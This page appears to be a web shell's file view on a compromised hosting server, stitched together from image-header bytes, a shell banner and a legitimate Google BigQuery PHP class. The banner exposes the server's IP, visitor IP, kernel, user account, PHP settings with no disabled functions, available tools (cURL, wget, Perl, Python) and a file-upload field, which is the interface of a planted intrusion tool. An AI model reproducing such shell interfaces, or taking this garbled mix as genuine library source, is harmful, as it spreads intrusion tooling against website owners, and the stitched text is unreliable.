����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/././www/vendor/google/apiclient-services/src/Bigquery/ |
Upload File : |
<?php
/*
* Copyright 2014 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
namespace Google\Service\Bigquery;
class JobConfigurationQuery extends \Google\Collection
{
protected $collection_key = 'userDefinedFunctionResources';
public $allowLargeResults;
protected $clusteringType = Clustering::class;
protected $clusteringDataType = '';
protected $connectionPropertiesType = ConnectionProperty::class;
protected $connectionPropertiesDataType = 'array';
public $createDisposition;
public $createSession;
protected $defaultDatasetType = DatasetReference::class;
protected $defaultDatasetDataType = '';
protected $destinationEncryptionConfigurationType = EncryptionConfiguration::class;
protected $destinationEncryptionConfigurationDataType = '';
protected $destinationTableType = TableReference::class;
protected $destinationTableDataType = '';
public $flattenResults;
public $maximumBillingTier;
public $maximumBytesBilled;
public $parameterMode;
public $preserveNulls;
public $priority;
public $query;
protected $queryParametersType = QueryParameter::class;
protected $queryParametersDataType = 'array';
protected $rangePartitioningType = RangePartitioning::class;
protected $rangePartitioningDataType = '';
public $schemaUpdateOptions;
protected $tableDefinitionsType = ExternalDataConfiguration::class;
protected $tableDefinitionsDataType = 'map';
protected $timePartitioningType = TimePartitioning::class;
protected $timePartitioningDataType = '';
public $useLegacySql;
public $useQueryCache;
protected $userDefinedFunctionResourcesType = UserDefinedFunctionResource::class;
protected $userDefinedFunctionResourcesDataType = 'array';
public $writeDisposition;
public function setAllowLargeResults($allowLargeResults)
{
$this->allowLargeResults = $allowLargeResults;
}
public function getAllowLargeResults()
{
return $this->allowLargeResults;
}
/**
* @param Clustering
*/
public function setClustering(Clustering $clustering)
{
$this->clustering = $clustering;
}
/**
* @return Clustering
*/
public function getClustering()
{
return $this->clustering;
}
/**
* @param ConnectionProperty[]
*/
public function setConnectionProperties($connectionProperties)
{
$this->connectionProperties = $connectionProperties;
}
/**
* @return ConnectionProperty[]
*/
public function getConnectionProperties()
{
return $this->connectionProperties;
}
public function setCreateDisposition($createDisposition)
{
$this->createDisposition = $createDisposition;
}
public function getCreateDisposition()
{
return $this->createDisposition;
}
public function setCreateSession($createSession)
{
$this->createSession = $createSession;
}
public function getCreateSession()
{
return $this->createSession;
}
/**
* @param DatasetReference
*/
public function setDefaultDataset(DatasetReference $defaultDataset)
{
$this->defaultDataset = $defaultDataset;
}
/**
* @return DatasetReference
*/
public function getDefaultDataset()
{
return $this->defaultDataset;
}
/**
* @param EncryptionConfiguration
*/
public function setDestinationEncryptionConfiguration(EncryptionConfiguration $destinationEncryptionConfiguration)
{
$this->destinationEncryptionConfiguration = $destinationEncryptionConfiguration;
}
/**
* @return EncryptionConfiguration
*/
public function getDestinationEncryptionConfiguration()
{
return $this->destinationEncryptionConfiguration;
}
/**
* @param TableReference
*/
public function setDestinationTable(TableReference $destinationTable)
{
$this->destinationTable = $destinationTable;
}
/**
* @return TableReference
*/
public function getDestinationTable()
{
return $this->destinationTable;
}
public function setFlattenResults($flattenResults)
{
$this->flattenResults = $flattenResults;
}
public function getFlattenResults()
{
return $this->flattenResults;
}
public function setMaximumBillingTier($maximumBillingTier)
{
$this->maximumBillingTier = $maximumBillingTier;
}
public function getMaximumBillingTier()
{
return $this->maximumBillingTier;
}
public function setMaximumBytesBilled($maximumBytesBilled)
{
$this->maximumBytesBilled = $maximumBytesBilled;
}
public function getMaximumBytesBilled()
{
return $this->maximumBytesBilled;
}
public function setParameterMode($parameterMode)
{
$this->parameterMode = $parameterMode;
}
public function getParameterMode()
{
return $this->parameterMode;
}
public function setPreserveNulls($preserveNulls)
{
$this->preserveNulls = $preserveNulls;
}
public function getPreserveNulls()
{
return $this->preserveNulls;
}
public function setPriority($priority)
{
$this->priority = $priority;
}
public function getPriority()
{
return $this->priority;
}
public function setQuery($query)
{
$this->query = $query;
}
public function getQuery()
{
return $this->query;
}
/**
* @param QueryParameter[]
*/
public function setQueryParameters($queryParameters)
{
$this->queryParameters = $queryParameters;
}
/**
* @return QueryParameter[]
*/
public function getQueryParameters()
{
return $this->queryParameters;
}
/**
* @param RangePartitioning
*/
public function setRangePartitioning(RangePartitioning $rangePartitioning)
{
$this->rangePartitioning = $rangePartitioning;
}
/**
* @return RangePartitioning
*/
public function getRangePartitioning()
{
return $this->rangePartitioning;
}
public function setSchemaUpdateOptions($schemaUpdateOptions)
{
$this->schemaUpdateOptions = $schemaUpdateOptions;
}
public function getSchemaUpdateOptions()
{
return $this->schemaUpdateOptions;
}
/**
* @param ExternalDataConfiguration[]
*/
public function setTableDefinitions($tableDefinitions)
{
$this->tableDefinitions = $tableDefinitions;
}
/**
* @return ExternalDataConfiguration[]
*/
public function getTableDefinitions()
{
return $this->tableDefinitions;
}
/**
* @param TimePartitioning
*/
public function setTimePartitioning(TimePartitioning $timePartitioning)
{
$this->timePartitioning = $timePartitioning;
}
/**
* @return TimePartitioning
*/
public function getTimePartitioning()
{
return $this->timePartitioning;
}
public function setUseLegacySql($useLegacySql)
{
$this->useLegacySql = $useLegacySql;
}
public function getUseLegacySql()
{
return $this->useLegacySql;
}
public function setUseQueryCache($useQueryCache)
{
$this->useQueryCache = $useQueryCache;
}
public function getUseQueryCache()
{
return $this->useQueryCache;
}
/**
* @param UserDefinedFunctionResource[]
*/
public function setUserDefinedFunctionResources($userDefinedFunctionResources)
{
$this->userDefinedFunctionResources = $userDefinedFunctionResources;
}
/**
* @return UserDefinedFunctionResource[]
*/
public function getUserDefinedFunctionResources()
{
return $this->userDefinedFunctionResources;
}
public function setWriteDisposition($writeDisposition)
{
$this->writeDisposition = $writeDisposition;
}
public function getWriteDisposition()
{
return $this->writeDisposition;
}
}
// Adding a class alias for backwards compatibility with the previous class name.
class_alias(JobConfigurationQuery::class, 'Google_Service_Bigquery_JobConfigurationQuery');